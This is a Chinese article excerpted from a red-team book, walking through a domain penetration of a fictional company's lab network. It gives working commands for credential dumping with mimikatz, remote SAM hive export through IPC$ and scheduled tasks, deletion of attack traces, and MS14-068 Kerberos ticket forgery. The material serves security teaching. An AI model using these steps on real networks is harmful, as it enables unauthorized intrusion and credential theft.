实战某大型连锁企业域渗透

news2024/10/5 20:18:05

点击星标,即时接收最新推文

451206509704acfe5400e49465946f20.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

实战域渗透测试流程 

对黑客来说,拿下域控制器是终极目标。然而攻击者空间是如何通过采取信息收集、权限提升、横向移动等一系列手段,从而一步步拿下域控制器的呢?本次将从一张拓扑图开始,和大家一起梳理域的相关知识,并串联内网的各类攻击技术。

实验环境概述  

下图是一张某公司(虚构名:北京test公司)的网络拓扑示意图。该公司员工众多,需要共享复杂的内网资源,为此特意架设了一套域环境test.com,即企业内网上方的部分。域内部署了1台域控制器,用来负责对域内权限和资源管理,并提供DNS服务器功能。下设办公室、生产部2个部门,拥有不同的IP地址网段。

随着公司的日益壮大,又在海南开了1家分公司,考虑到网络规模和节省带宽的需要,以及为了进一步方便对分公司的网络进行管理规划,又在分公司单独搭建了一个子域网络sub.test.com,即企业内网下方的部分。域内部署了1台子域控制器,下设商务部、生产部2个部门,拥有不同的IP地址网段。

假设攻击者拿下了子域的1台商务部计算机pc.sub.test.com,本章的目标是通过该计算机拿下子域控制器,并实施相关操作获取所有子域用户的用户名和密码散列值。   

bb4c337887f2f3243669a7ec013fd892.png

域网络拓扑示意图

1. 北京TEST公司网络配置

域控制器相关配置:

  • 域名:test.com

  • 操作系统:Windows Server 2008

  • 域服务:AD域+DNS服务

  • 计算机名:testdc.test.com

  • 登录用户:bjadmin01

  • IP地址:10.1.1.100

  • DNS1:114.114.114.114(域控制器IP地址)

办公室计算机相关配置:

  • 域名:test.com   

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:bgs.test.com

  • 登录用户:testuser1

  • IP地址:10.1.1.5

  • DNS1地址:10.1.1.100(主域控制器IP地址)

生产部计算机配置:

  • 域名:test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:scb.test.com

  • 登录用户:testuser2

  • IP地址:10.1.1.6

  • DNS1地址:10.1.1.100(主域控制器IP地址)

2. 海南TEST子公司网络

子域控制器配置:

  • 域名:sub.test.com

  • 操作系统:Windows Server 2012

  • 域服务:AD域+DNS服务

  • 计算机名:dc.sub.test.com

  • 登录用户:hnadmin01 IP

  • 地址:192.168.1.100

  • DNS1: 192.168.1.100(海南子域控制器IP地址)

  • DNS2: 10.1.1.100(北京父域域控制器IP地址)

商务部计算机配置:

  • 域名:sub.test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:pc.sub.test.com

  • 登录用户:hnwangwu

  • IP地址:192.168.1.5

  • DNS1: 192.168.1.100(海南子域控制器IP地址)

生产部计算机配置:  

  • 域名:sub.test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:pc2.sub.test.com

  • 登录用户:hnzhaoliu

  • IP地址:192.168.1.6

  • DNS1: 192.168.1.100(海南子域控制器IP地址)


实战渗透测试思路简介 

在实战中,由于分公司的员工网络安全意识存在不足,所以攻击者所拿下的第1台内网计算机往往都在子域中。本节假设因为海南子公司的相关人员安全意识不足,下载安装了恶意木马程序,导致一台子域普通计算机(主机名为pc.sub.test.com)被攻击者成功钓鱼并控制。

接下来,攻击者的目标就是利用这台子域的普通计算机为跳板,攻破子域的域控制器。

1. 信息收集

信息收集是内网渗透测试的第一步,通过了解所控制计算机的本机信息以及所处域网络的相关情况,来做到知己知彼。

第1步,收集本机的信息。

输入ipconfig /all命令,查看到本机的主机名为PC,IP地址是192.168.1.5,特别是在DNS后缀列表处可以看到sub.test.com,由此确定主机所处的是域环境。

输入systeminfo命令,可以看到本机的操作系统版本为Windows 7。

输入whoami命令,显示当前的登录用户,返回结果看到登录用户名称,在域环境下一般是域用户,这里是sub\hnwangwu。

输入net user hnwangwu/domain来查看用户权限,这里显示的是Domain Users,为普通域用户。如果在全局组成员处显示的是Domain Admins,那么恭喜你,直接拿下了域管理员账户。

ipconfig /all
# 获取主机名、IP地址、域名等信息
systeminfo
# 获取操作系统和安装补丁等信息
whoami
# 获取当前登录用户名   
net user hnwangwu /domain
# 获取域用户hnwangwu在内网的权限

第2步,搜集域的相关信息。

前面明确了当前计算机所处为域环境,接下来可以进行域内相关信息的收集了。

输入net group groupname /domain可以查询域内组账户相关信息。一般比较常用groupname包括Domain Admins、Domain Controllers、Domain Users、Domain Computers等4个组,分别输入如下信息进行组账户查询。

net group "Domain Admins" /domain
#显示所有域管理员账户,这里为hnadmin01
net group "Domain Controllers" /domain
#显示所有域控制器服务器名: dc.sub.test.com
net group "Domain Computers" /domain
#显示所有域内计算机名: dc.sub.test.com、pc.sub.test.com、pc2.sub.test.com
net group "Domain Users" /domain
#显示所有域用户:hnadmin01、hnwangwu、hnzhaolliu

以上命令查看的是本域的相关信息,是否存在域林以及其它相关情况,可输入如下命令进行查询。

net view /domain
# 该命令用来查询域,显示结果分别为:test.com、sub.test.com、workgroup

Workgroup是工作组,其它两个结果都是域名称,从名称就可以判断出该公司存在域林,父域名为test.com。

再使用如下命令,来查看其父域的相关信息。

net view /domain:test
# 查询父域的计算机情况:显示为dc.test.com、bgs.test.com、scb.test.com

通过上述信息收集,攻击者能够初步判断出当前所处网络环境,这为后续的进一步渗透测试指明了方面,具体信息如下:

一是实现了对当前攻击者所控制的域计算机角色判断。获取到包括主机名、操作系统、IP地址等信息。

二是进一步分析了计算所处网络环境的拓扑结构。可以看出,该计算机处于域环境中,所在域部署有1台域控制器和2台普通域计算机;有3个域用户,其中1个是域管理员。

三是当前域所处网络环境有了初步判断。可以根据查询域的相关信息得出当前域是域林中的子域,该域林包括1个父域和1个子域,父域名为test.com。   

2. 本机密码抓取

攻击者最常用的1个攻击者法,就是在所攻破的计算机上抓取所有登录过的用户名和密码,如果域管理员恰好通过runas或者远程桌面等登录过该计算机,那么攻击者可以直接获取到域管理员用户权限。

具体操作如下:

使用mimikatz,其下载地址为:https://github.com/gentilkiwi/mimikatz,解压缩后的目录结构如图所示。

41e39139f3f1242578442ce1ca3aa737.png

mimikatz目录结构

以管理员权限运行mimikatz.exe,在界面中输入如下命令获取曾经登录到该计算机的用户名及明文密码。

privilege::debug      //提升权限
sekurlsa::logonpasswords           //抓取密码

对抓取到的用户名及其密码进行分析,因为分公司往往网络安全管理往往比较混乱,所以获取到其它域用户密码的可能性较大,这里假设攻击者拿到了域用户hnzhaoliu的密码password。

提醒各位读者,很多企业内网的计算机所安装使用的操作系统是同一个模板,因此它们的本地管理员administrator的密码也都是一样的,若内网未禁用本地管理员用户的远程登录权限,那么就可以用获取到的本地管理员密码来远程登录其它计算机,甚至包括域控制器。

3. 定位用户登录机器

对于拿到的域用户hnzhaoliu,通过命令net user hnzhaoliu /domain命令,可以知道它只是一个普通域用户,那么它在哪台机器上有登录权限呢?

内网攻击的过程中,看起来攻击者是在内网到处横移,流程非常复杂混乱,但其实他们事先借助了定位工具帮助自己查看哪些机器当前账号能够有权限访问。例如使用微软官方提供的PsLoggedon工具,能够查询到该用户能够登录机器pc2.sub.test.com,这为我们下一步横向移动提供了方向,具体命令如下。   

PsLoggedon.exe \\pc2
# \\可以查询到该机器登录用户为hnzhaoliu

4. 通过IPC远程连接执行命令

利用获取到的hnzhaoliu的密码,通过IPC远程连接目标计算机,执行上传、下载操作,运行相关命令,进而获取到目标计算机的密码。

首先建立ipc远程连接。

net use \\pc2\ipc$ "password" /user:sub.test.com\hnzhaoliu
# ipc$: 建立ipc$连接
# “password”:用户明文密码
# /user: 后面跟着域名\域用户名

新建一个批处理脚本,通过使用注册表方法来远程导出目标计算机的SAM文件,脚本中输入如下命令,并将其命名为runsam.bat。

reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
exit

接下来,在命令行中使用如下命令将批处理runsam.bat拷贝至目标计算机。

copy runsam.bat \\pc2\C$\windows\temp\

继续在命令行中输入如下命令,通过at指令创建远程计算机pc2的计划任务,使其在指定时间运行该批处理。

at \\pc2 10:10 c:\windows\temp\runsam.bat

批处理被执行后,会在批处理的目录下生成两个相关文件,将这两个文件从目标计算机pc2拷贝到本机。

copy \\pc2\C$\windows\temp\sam.hiv
copy \\pc2\C$\windows\temp\system.hiv

记得清除相关攻击记录,删除批处理脚本及其生成的两个文件,断开和远程计算机pc2的IPC$连接。

del \\PC2\C$\windows\temp\runsam.bat
del \\PC2\C$\windows\temp\sam.hiv
del \\PC2\C$\windows\temp\system.hiv
# 删除runsam.bat、sam.hiv、system.hiv
net use \\PC2\ipc$ /del /y
# 删除ipc$连接

重新以管理员权限运行mimikatz,使用如下命令破解SAM文件密码。需要注意,为确保破解成功,要将system.hiv、sam.hiv这两个文件和mimikatz放在同一个目录中。   

lsadump::sam /sam:sam.hiv /system:system.hiv

在域计算机pc2.sub.test.com上获取到了hnzhaoliu的密码,但没有域管理员密码,所以攻击者继续采取其它措施来获取域控制器的权限了。

5. 利用域用户提权漏洞来拿下域控制器

在存在MS14-068漏洞的情况下,可以实施提权攻击。简单来说,通过PyKEK工具的ms14-068.py脚本生成一个域管理员权限的服务票据,通过票据登录域控制器。

ms14-068.py的使用参数如下所示:

  • -u@:用户名@域名

  • -s:用户SID

  • -d:域控制器名.域名

  • -p:明文密码

  • --rc4:在没有明文密码的情况下,通过NTLM散列值登录。

使用PyKEK生成高权限票据的命令格式如下:

python ms14-068.py -u hnzhaoliu@sub.test.com –p password -s S-1-5-21-4223730591-2862776806-5164649606-2215 –d dc.sub.test.com

再打开mimikatz,输入命令“kerberos::purge”,清除内存中已有的票据信息,如图所示。

59bbffea1a71ac6386041f7c01b21d49.png

清除内存中的票据

在mimikatz中输入如下命令将伪造的票据注入内存,如图所示,注入内存成功。

kerberos::ptc "TGT_hnzhaoliu@sub.test.com.ccache"

d6c089653f1a69261ee3728d42206889.png

将高权限票据注入内存  

使用dir命令,列出域控制器C盘的内容,列出目录成功,表示成功拿下了域控制器权限。

b958c456df6b5896724e8518b68a5f93.png

验证权限

综上所述,围绕获取域控制器的登录权限介绍了两种方法:一种通过在不同的域计算机上持续的权限验证和横向移动,寻找域用户相关登录情况,直至获取到域管理员权限。二是通过权限提升漏洞将普通域用户提升为域管理员权限,除此以外还有第三种思路,就是攻击者可以利用域控制器系统漏洞直接登录到域控制器,比如近年来广泛使用的大杀器ZeroLogon漏洞。

简而言之:域控制器安全任重道远。

—  实验室旗下直播培训课程  —

43b9bb434a7d73591b83d292087d923c.png

32fd3d987bb13eb6852837a3b70ebec7.jpeg

5ede9002a72ff32d03ef2c9662d802d2.jpeg9e81d6a51b0653572672c531cb299f01.png

9eeed1e4200e4b4cf586c32308d173e2.png

3b7e66d76119ea1d50f4a3e53101d423.jpeg

4c597037f81b755dba2c884129ea2d14.jpeg

60c7ec8ef9be746380ca4980fa7060fc.jpeg

6f382d1937588687ad50017d92e5de31.png

和20000+位同学加入MS08067一起学习

de3ed9e4e6aa354c3dd80a8e8aa0a968.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1900671.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

白嫖A100活动-入门篇-1.Linux+InterStudio

进入InterStudio 这节课是为了让大家熟悉使用InterStudio平台,以便后续开发 InterStudio平台是算力平台,可以通过平台使用A100,还可以使用“书生”团队集成好的环境、工具,快速部署LLMs. 进入平台: 记得报名,获得免…

vue2响应式原理+模拟实现v-model

效果 简述原理 配置对象传入vue实例 模板解析,遍历出所有文本节点,利用正则替换插值表达式为真实数据 data数据代理给vue实例,以后通过this.xxx访问 给每个dom节点增加观察者实例,由观察者群组管理,内部每一个键值…

集成学习(一)Bagging

前边学习了:十大集成学习模型(简单版)-CSDN博客 Bagging又称为“装袋法”,它是所有集成学习方法当中最为著名、最为简单、也最为有效的操作之一。 在Bagging集成当中,我们并行建立多个弱评估器(通常是决策…

52-3 权限维持 - IFEO注入(镜像劫持)

IFEO注入(映像劫持)介绍 IFEO(Image File Execution Options)位于Windows注册表中的路径为: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options IFEO最初设计用于为在默认系统环境下可能出现错误的程序提供特殊的调试和执…

JavaWeb开发之环境准备-大合集

本文博客地址 JavaWeb开发 || 环境准备 1. 前言2. JDK8安装2.1 下载地址2.2 安装配置图示2.2.1 JDK安装2.2.2 配置系统环境变量 3. Maven安装3.1 Maven下载3.2 Maven解压及系统变量配置 4. Tomcat安装4.1 Tomcat下载4.2 Tomcat解压及系统变量配置 5. Redis安装5.1 Redis下载5.…

【postgresql】 基础知识学习

PostgreSQL是一个高度可扩展的开源对象关系型数据库管理系统(ORDBMS),它以其强大的功能、灵活性和可靠性而闻名。 官网地址:https://www.postgresql.org/ 中文社区:文档目录/Document Index: 世界上功能最强大的开源…

顶顶通呼叫中心中间件-外呼通道变量同步到坐席通道变量(mod_cti基于Freeswitch)

机器人伴随转人工或者排队转人工 把外呼通道同步到坐席通道变量 在拨号方案转人工动作cti_acd,或者转机器人动作cti_rotobt的前面,添加一个 export nolocal:变量名${变量名} 一、配置拨号方案 win-ccadmin配置方法 点击拨号方案 -> 点击进入排队 -> 根据图…

liunx文件系统,日志分析

文章目录 1.inode与block1.1 inode与block概述1.2 inode的内容1.3 文件存储1.4 inode的大小1.5 inode的特殊作用 2.硬链接与软链接2.1链接文件分类 3.恢复误删除的文件3.1 案例:恢复EXT类型的文件3.2 案例:恢复XFS类型的文件3.2.1 xfsdump使用限制 4.分析日志文件4.1日志文件4.…

Ant Design Pro修改菜单栏的颜色

一:修改菜单栏的配色 第一步: 修改defaultSetting--> ProLayoutProps 中的属性值 sider: {colorMenuBackground: #fff, // menu 的背景颜色colorBgMenuItemHover: #91d5ff, // menuItem 的 hover 背景颜色colorTextMenu: #607AAF, // menuItem 的字…

智能与伦理:Kimi与学术道德的和谐共舞

学境思源,一键生成论文初稿: AcademicIdeas - 学境思源AI论文写作 Kimi,由月之暗面科技有限公司开发的智能助手,擅长中英文对话,能处理多种文档和网页内容。在论文写作中,Kimi可提供资料查询、信息整理、语…

2024年【金属非金属矿山(地下矿山)安全管理人员】考试报名及金属非金属矿山(地下矿山)安全管理人员模拟考试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年金属非金属矿山(地下矿山)安全管理人员考试报名为正在备考金属非金属矿山(地下矿山)安全管理人员操作证的学员准备的理论考试专题,每个月更新的金属非…

KVM虚机调整磁盘大小(注:需重启虚拟机)

1、将磁盘大小由15G调整为25G [rootkvm ~]# virsh domblklist kvm-client #显示虚拟机硬盘列表 [rootkvm ~]# qemu-img resize /var/lib/libvirt/images/tesk-disk.qcow2 10G #扩容 [rootkvm ~]# qemu-img info /var/lib/libvirt/images/test-disk.qcow2 #查看信息 注&…

【论文通读】A Survey of Neural Code Intelligence: Paradigms, Advances and Beyond

A Survey of Neural Code Intelligence: Paradigms, Advances and Beyond 前言摘要代码模型的发展神经语言建模代码预训练模型大型语言模型 学习范式的转移数据集与评测基准跨领域协同应用与未来资源阅读总结 前言 神经代码智能利用深度学习理解、生成和优化代码,连…

3D地图是智慧城市可视化项目绕不开的技术!来我帮你解决

**3D地图:智慧城市可视化项目绕不开的技术!来我帮你解决** 智慧城市已成为未来城市发展的必然趋势。而3D地图作为智慧城市可视化项目的核心技术之一,其重要性不言而喻。本文将深入探讨3D地图在智慧城市建设中的应用及其优势,为您…

待研究课题记录

最近了解到两个新的有趣的节点,但是对于实际效果不是很确定,所以这里记录下,后续慢慢研究: 扰动注意力引导 Perturbed Attention Guidance GitHub - KU-CVLAB/Perturbed-Attention-Guidance: Official implementation of "…

Python 游戏服务器架构优化

优化 Python 游戏服务器的架构涉及多个方面,包括性能、可伸缩性、并发处理和网络通信。下面是一些优化建议: 1、问题背景 在设计 Python 游戏服务器时,如何实现服务器的横向扩展,以利用多核处理器的资源,并确保服务器…

商品分页,商品模糊查询

一、商品分页 引入分页 定义分页主件的参数 在请求url上拼接参数 定义改变当前页码后触发的事件,把当前页码的值给到分页表单,重新查询 二、商品查询(以商品的名称查询name为例) 引入elementplus的from表单组件 定义一个FormData…

DDR的拓扑与仿真

T型拓扑 vs Fly-by 由于T型拓扑在地址、命令和时钟都是同时到达每个DDR芯片,所以同步的切换噪声会叠加在一起,DDR越多这个信号上叠加的噪声越大,T型拓扑的优点是地址、命令和时钟都是同时到达,所以不需要做写均衡Write leveling。…

Java面试八股之MYISAM和INNODB有哪些不同

MYISAM和INNODB有哪些不同 MyISAM和InnoDB是MySQL数据库中两种不同的存储引擎,它们在设计哲学、功能特性和性能表现上存在显著差异。以下是一些关键的不同点: 事务支持: MyISAM 不支持事务,没有回滚或崩溃恢复的能力。 InnoDB…

HCIA综合实验

学习新思想,争做新青年。今天学习的是HCIA综合实验! 实验拓扑 实验需求 总部: 1、除了SW8 SW9是三层交换机,其他交换机均为2层交换机。 2、GW为总部的出口设备,使用单臂路由技术,VLAN10,20,100的网关都在GW…